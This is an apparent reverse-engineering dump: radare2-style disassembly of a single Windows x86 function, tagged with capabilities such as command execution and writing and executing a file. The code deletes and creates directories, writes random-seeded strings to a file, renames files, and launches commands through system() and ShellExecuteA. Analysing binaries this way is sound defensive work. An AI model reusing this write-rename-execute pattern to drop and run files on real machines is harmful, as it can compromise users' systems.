Function at 0x402d80
Capabilities:
Create directory
Create process on windows
Delete directory
Execute command
Move file
Set console window title
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4095b9
mov eax, dword fs:[0]
push eax
sub esp, 0x130
mov eax, dword [0x40e008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00403b30
mov ecx, eax
call fcn.00405400
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x40
push 0x64
push 0xfa
push 1
call esi
cdq
sub eax, edx
sar eax, 1
sub eax, 0x32
push eax
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x7d
push eax
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
call fcn.00401210
call esi
mov ecx, eax
call fcn.00401290
call fcn.00403bf0
mov ecx, eax
call fcn.004053f0
mov ecx, eax
call fcn.004023f0
call fcn.00403cc0
mov ecx, eax
call fcn.004053e0
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call fcn.00403d90
mov ecx, eax
call fcn.004053d0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.00403e60
mov ecx, eax
call fcn.004053c0
mov ecx, eax
call fcn.00401430
call fcn.00403f30
mov ecx, eax
call fcn.004053b0
mov ecx, eax
call fcn.00401430
call fcn.00403ff0
mov ecx, eax
call fcn.004053a0
push eax
lea ecx, [ebp - 0xc0]
call fcn.00405b10
mov dword [ebp - 4], 0
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov ecx, 0xa
call fcn.00401270
push 0x406fc0
call fcn.004040c0
mov ecx, eax
call fcn.00405390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call fcn.00406d80
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0xc0]
call fcn.004059e0
sub esp, 0x18
mov edi, eax
mov esi, esp
call fcn.00404190
mov ecx, eax
call fcn.00405380
push eax
mov ecx, esi
call fcn.00405b10
mov ecx, edi
call fcn.00401a80
add esp, 0x18
test eax, eax
jne 0x402f25
lea ecx, [eax + 0xe]
call fcn.00401270
call fcn.00404340
mov ecx, eax
call fcn.00405360
push eax
call ebx
add esp, 4
call fcn.00404400
mov ecx, eax
call fcn.00405350
push eax
call ebx
add esp, 4
jmp 0x402e90
call fcn.00404280
mov ecx, eax
call fcn.00405370
push eax
call ebx
add esp, 4
push 0x406fc0
call fcn.004044c0
mov ecx, eax
call fcn.00405340
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call fcn.00406d80
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
call fcn.00404660
mov ecx, eax
call fcn.00405320
push eax
call fcn.00404590
mov ecx, eax
call fcn.00405330
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
add esp, 8
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40b310
call fcn.00404740
mov ecx, eax
call fcn.00405310
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov ebx, eax
call fcn.00401200
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 0xc
lea ecx, [ebp - 0xd8]
call fcn.00405b50
xor esi, esi
mov byte [ebp - 4], 1
lea edx, [esi + 0x5a]
lea ecx, [esi + 0x32]
call fcn.004024a0
test eax, eax
jle 0x402ffa
call fcn.004019b0
movzx eax, al
lea ecx, [ebp - 0xd8]
push eax
call fcn.004059f0
mov edx, 0x5a
inc esi
lea ecx, [edx - 0x28]
call fcn.004024a0
cmp esi, eax
jl 0x402fd4
lea ecx, [ebp - 0x58]
call fcn.00405b50
xor esi, esi
mov byte [ebp - 4], 2
lea edx, [esi + 0x32]
lea ecx, [esi + 0xa]
call fcn.004024a0
test eax, eax
jle 0x40303a
call fcn.004019e0
movzx eax, al
lea ecx, [ebp - 0x58]
push eax
call fcn.004059f0
mov edx, 0x32
inc esi
lea ecx, [edx - 0x28]
call fcn.004024a0
cmp esi, eax
jl 0x403017
lea ecx, [ebp - 0xa0]
call fcn.00405b50
xor esi, esi
mov byte [ebp - 4], 3
lea edx, [esi + 0x64]
lea ecx, [esi + 0x3c]
call fcn.004024a0
test eax, eax
jle 0x403086
nop word [eax + eax]
call fcn.00401a00
movzx eax, al
lea ecx, [ebp - 0xa0]
push eax
call fcn.004059f0
mov edx, 0x64
inc esi
lea ecx, [edx - 0x28]
call fcn.004024a0
cmp esi, eax
jl 0x403060
lea ecx, [ebp - 0x28]
call fcn.00405b50
xor esi, esi
mov byte [ebp - 4], 4
lea edx, [esi + 0x50]
lea ecx, [esi + 0x28]
call fcn.004024a0
test eax, eax
jle 0x4030c6
call fcn.00401a20
movzx eax, al
lea ecx, [ebp - 0x28]
push eax
call fcn.004059f0
mov edx, 0x50
inc esi
lea ecx, [edx - 0x28]
call fcn.004024a0
cmp esi, eax
jl 0x4030a3
lea ecx, [ebp - 0x70]
call fcn.00405b50
xor esi, esi
mov byte [ebp - 4], 5
lea edx, [esi + 0x64]
lea ecx, [esi + 0x28]
call fcn.004024a0
test eax, eax
jle 0x403106
call fcn.00401a40
movzx eax, al
lea ecx, [ebp - 0x70]
push eax
call fcn.004059f0
mov edx, 0x64
inc esi
lea ecx, [edx - 0x3c]
call fcn.004024a0
cmp esi, eax
jl 0x4030e3
lea ecx, [ebp - 0x40]
call fcn.00405b50
xor esi, esi
mov byte [ebp - 4], 6
lea edx, [esi + 0x46]
lea ecx, [esi + 0x3c]
call fcn.004024a0
test eax, eax
jle 0x403146
call fcn.00401a60
movzx eax, al
lea ecx, [ebp - 0x40]
push eax
call fcn.004059f0
mov edx, 0x46
inc esi
lea ecx, [edx - 0xa]
call fcn.004024a0
cmp esi, eax
jl 0x403123
lea ecx, [ebp - 0x88]
call fcn.00405b50
mov byte [ebp - 4], 7
call fcn.00401200
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
call fcn.004011f0
push 0x100
mov esi, eax
call fcn.00408300
mov ecx, dword [esi + 0x14]
add esp, 4
add ecx, 0x76c
mov edi, eax
push ecx
mov ecx, dword [esi + 0x10]
inc ecx
push ecx
push dword [esi + 0xc]
call fcn.00404820
mov ecx, eax
call fcn.00405300
push eax
push edi
call fcn.00401060
add esp, 0x14
lea ecx, [ebp - 0xf4]
push 0x40b314
call fcn.00405b10
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 8
push eax
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00405b10
lea ecx, [ebp - 0x124]
call fcn.00407ff0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x10c]
call fcn.00401780
add esp, 4
lea ecx, [ebp - 0x88]
push eax
call fcn.00405a90
lea ecx, [ebp - 0x10c]
call fcn.00405a40
lea ecx, [ebp - 0x124]
call fcn.00405a40
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 7
call fcn.00405a40
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push ebx
call esi
add esp, 0xc
lea ecx, [ebp - 0x88]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403241
push ebx
sub eax, edx
lea ecx, [ebp - 0x88]
push 1
push eax
call fcn.004059e0
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x58]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403277
push ebx
sub eax, edx
lea ecx, [ebp - 0x58]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0xa0]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4032a7
push ebx
sub eax, edx
lea ecx, [ebp - 0xa0]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x28]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4032d7
push ebx
sub eax, edx
lea ecx, [ebp - 0x28]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x70]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403304
push ebx
sub eax, edx
lea ecx, [ebp - 0x70]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x88]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403334
push ebx
sub eax, edx
lea ecx, [ebp - 0x88]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x40]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403364
push ebx
sub eax, edx
lea ecx, [ebp - 0x40]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
push 2
push 0
push ebx
call esi
add esp, 0x28
lea ecx, [ebp - 0x40]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403398
push ebx
sub eax, edx
lea ecx, [ebp - 0x40]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x88]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4033c8
push ebx
sub eax, edx
lea ecx, [ebp - 0x88]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x70]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4033f8
push ebx
sub eax, edx
lea ecx, [ebp - 0x70]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x28]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403425
push ebx
sub eax, edx
lea ecx, [ebp - 0x28]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0xa0]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403455
push ebx
sub eax, edx
lea ecx, [ebp - 0xa0]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x58]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403485
push ebx
sub eax, edx
lea ecx, [ebp - 0x58]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 4
mov ecx, esp
call fcn.00402700
lea ecx, [ebp - 0x13c]
call fcn.00407ff0
add esp, 0x18
mov ecx, eax
mov byte [ebp - 4], 0xa
call fcn.004059e0
lea edx, [eax + 1]
nop word [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4034d0
sub eax, edx
lea ecx, [ebp - 0xf4]
push 0x40b314
mov dword [ebp - 0xdc], eax
call fcn.00405b10
push ebx
push 1
push dword [ebp - 0xdc]
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 0xb
push eax
sub esp, 0x18
mov ecx, esp
call fcn.00402700
lea ecx, [ebp - 0x10c]
call fcn.00407ff0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x124]
call fcn.00401780
add esp, 4
mov ecx, eax
call fcn.004059e0
push eax
call edi
add esp, 0x10
lea ecx, [ebp - 0x124]
call fcn.00405a40
lea ecx, [ebp - 0x10c]
call fcn.00405a40
lea ecx, [ebp - 0xf4]
call fcn.00405a40
lea ecx, [ebp - 0x13c]
mov byte [ebp - 4], 7
call fcn.00405a40
push 2
push 0
push ebx
call esi
add esp, 0xc
lea ecx, [ebp - 0x58]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403581
push ebx
sub eax, edx
lea ecx, [ebp - 0x58]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0xa0]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4035b1
push ebx
sub eax, edx
lea ecx, [ebp - 0xa0]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x28]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4035e1
push ebx
sub eax, edx
lea ecx, [ebp - 0x28]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x58]
call fcn.004059e0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403610
push ebx
sub eax, edx
lea ecx, [ebp - 0x58]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0xa0]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403640
push ebx
sub eax, edx
lea ecx, [ebp - 0xa0]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x28]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403670
push ebx
sub eax, edx
lea ecx, [ebp - 0x28]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x70]
call fcn.004059e0
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4036a0
push ebx
sub eax, edx
lea ecx, [ebp - 0x70]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x40]
call fcn.004059e0
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4036d0
push ebx
sub eax, edx
lea ecx, [ebp - 0x40]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 4
mov ecx, esp
call fcn.00402700
lea ecx, [ebp - 0x10c]
call fcn.00407ff0
add esp, 0x18
mov ecx, eax
mov byte [ebp - 4], 0xd
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403715
sub eax, edx
lea ecx, [ebp - 0xf4]
push 0x40b314
mov dword [ebp - 0xdc], eax
call fcn.00405b10
push ebx
push 1
push dword [ebp - 0xdc]
lea eax, [ebp - 0xf4]
mov byte [ebp - 4], 0xe
push eax
sub esp, 0x18
mov ecx, esp
call fcn.00402700
lea ecx, [ebp - 0x124]
call fcn.00407ff0
add esp, 0x18
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x13c]
call fcn.00401780
add esp, 4
mov ecx, eax
call fcn.004059e0
push eax
call edi
add esp, 0x10
lea ecx, [ebp - 0x13c]
call fcn.00405a40
lea ecx, [ebp - 0x124]
call fcn.00405a40
lea ecx, [ebp - 0xf4]
call fcn.00405a40
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 7
call fcn.00405a40
push 2
push 0
push ebx
call esi
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4037c6
push ebx
sub eax, edx
lea ecx, [ebp - 0x28]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x58]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4037f3
push ebx
sub eax, edx
lea ecx, [ebp - 0x58]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x40]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403820
push ebx
sub eax, edx
lea ecx, [ebp - 0x40]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x70]
call fcn.004059e0
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403850
push ebx
sub eax, edx
lea ecx, [ebp - 0x70]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x40]
call fcn.004059e0
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403880
push ebx
sub eax, edx
lea ecx, [ebp - 0x40]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x88]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4038b0
push ebx
sub eax, edx
lea ecx, [ebp - 0x88]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x28]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4038e0
push ebx
sub eax, edx
lea ecx, [ebp - 0x28]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x40]
call fcn.004059e0
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403910
push ebx
sub eax, edx
lea ecx, [ebp - 0x40]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x70]
call fcn.004059e0
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403940
push ebx
sub eax, edx
lea ecx, [ebp - 0x70]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x58]
call fcn.004059e0
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403970
push ebx
sub eax, edx
lea ecx, [ebp - 0x58]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
add esp, 0x1c
lea ecx, [ebp - 0x88]
call fcn.004059e0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4039a0
push ebx
sub eax, edx
lea ecx, [ebp - 0x88]
push 1
push eax
call fcn.004059e0
push eax
call edi
push 2
push 0
push ebx
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x20
push 0xc8
call ebx
call fcn.004049d0
mov ecx, eax
call fcn.004052e0
push eax
call fcn.004048f0
mov ecx, eax
call fcn.004052f0
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
add esp, 8
push 0x406fc0
call fcn.00404aa0
mov ecx, eax
call fcn.004052d0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call fcn.00406d80
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 1
push 0
push 0
call fcn.00404c30
mov ecx, eax
call fcn.004052b0
push eax
call fcn.00404b70
mov ecx, eax
call fcn.004052c0
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call ebx
call fcn.00404d00
mov ecx, eax
call fcn.004052a0
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
call fcn.00404dc0
mov ecx, eax
call fcn.00405290
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call fcn.00406d80
call fcn.00404e80
mov ecx, eax
call fcn.00405280
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call fcn.00406d80
push 0xc8
call ebx
call fcn.00404f40
mov ecx, eax
call fcn.00405270
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call fcn.00406d80
push 0xc8
call ebx
call fcn.00405000
mov ecx, eax
call fcn.00405260
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call fcn.00406d80
push 0xc8
call ebx
call fcn.004050c0
mov ecx, eax
call fcn.00405250
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call fcn.00406d80
push 0xc8
call ebx
call fcn.00405180
mov ecx, eax
call fcn.00405240
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call fcn.00406d80
push 0xc8
call ebx
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3